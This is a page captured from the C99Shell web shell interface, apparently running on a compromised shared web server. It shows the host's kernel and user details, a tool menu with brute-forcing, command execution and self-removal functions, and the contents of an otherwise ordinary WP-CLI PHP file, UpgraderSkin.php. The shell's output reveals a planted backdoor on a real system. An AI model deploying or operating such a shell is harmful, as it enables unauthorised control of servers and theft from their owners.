!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/php/WP_CLI/   drwxr-xr-x
Free 689.39 GB of 879.6 GB (78.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UpgraderSkin.php (1.86 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WP_CLI;

use WP_CLI;
use WP_Upgrader_Skin;

/**
 * A Upgrader Skin for WordPress that only generates plain-text
 *
 * @package wp-cli
 */
class UpgraderSkin extends WP_Upgrader_Skin {

    public $api;

    public function header() {}
    public function footer() {}
    public function bulk_header() {}
    public function bulk_footer() {}

    /**
     * Show error message.
     *
     * @param string $error Error message.
     *
     * @return void
     */
    public function error( $error ) {
        if ( ! $error ) {
            return;
        }

        if ( is_string( $error ) && isset( $this->upgrader->strings[ $error ] ) ) {
            $error = $this->upgrader->strings[ $error ];
        }

        // TODO: show all errors, not just the first one
        WP_CLI::warning( $error );
    }

    /**
     * @param string $string
     * @param mixed  ...$args Optional text replacements.
     */
    public function feedback( $string, ...$args ) {
        $args_array = [];
        foreach ( $args as $arg ) {
            $args_array[] = $args;
        }

        $this->process_feedback( $string, $args );
    }

    /**
     * Process the feedback collected through the compat indirection.
     *
     * @param string $string String to use as feedback message.
     * @param array $args Array of additional arguments to process.
     */
    public function process_feedback( $string, $args ) {

        if ( 'parent_theme_prepare_install' === $string ) {
            WP_CLI::get_http_cache_manager()->whitelist_package( $this->api->download_link, 'theme', $this->api->slug, $this->api->version );
        }

        if ( isset( $this->upgrader->strings[ $string ] ) ) {
            $string = $this->upgrader->strings[ $string ];
        }

        if ( ! empty( $args ) && strpos( $string, '%' ) !== false ) {
            $string = vsprintf( $string, $args );
        }

        if ( empty( $string ) ) {
            return;
        }

        $string = str_replace( '&#8230;', '...', Utils\strip_tags( $string ) );
        $string = html_entity_decode( $string, ENT_QUOTES, get_bloginfo( 'charset' ) );

        WP_CLI::log( $string );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0097 ]--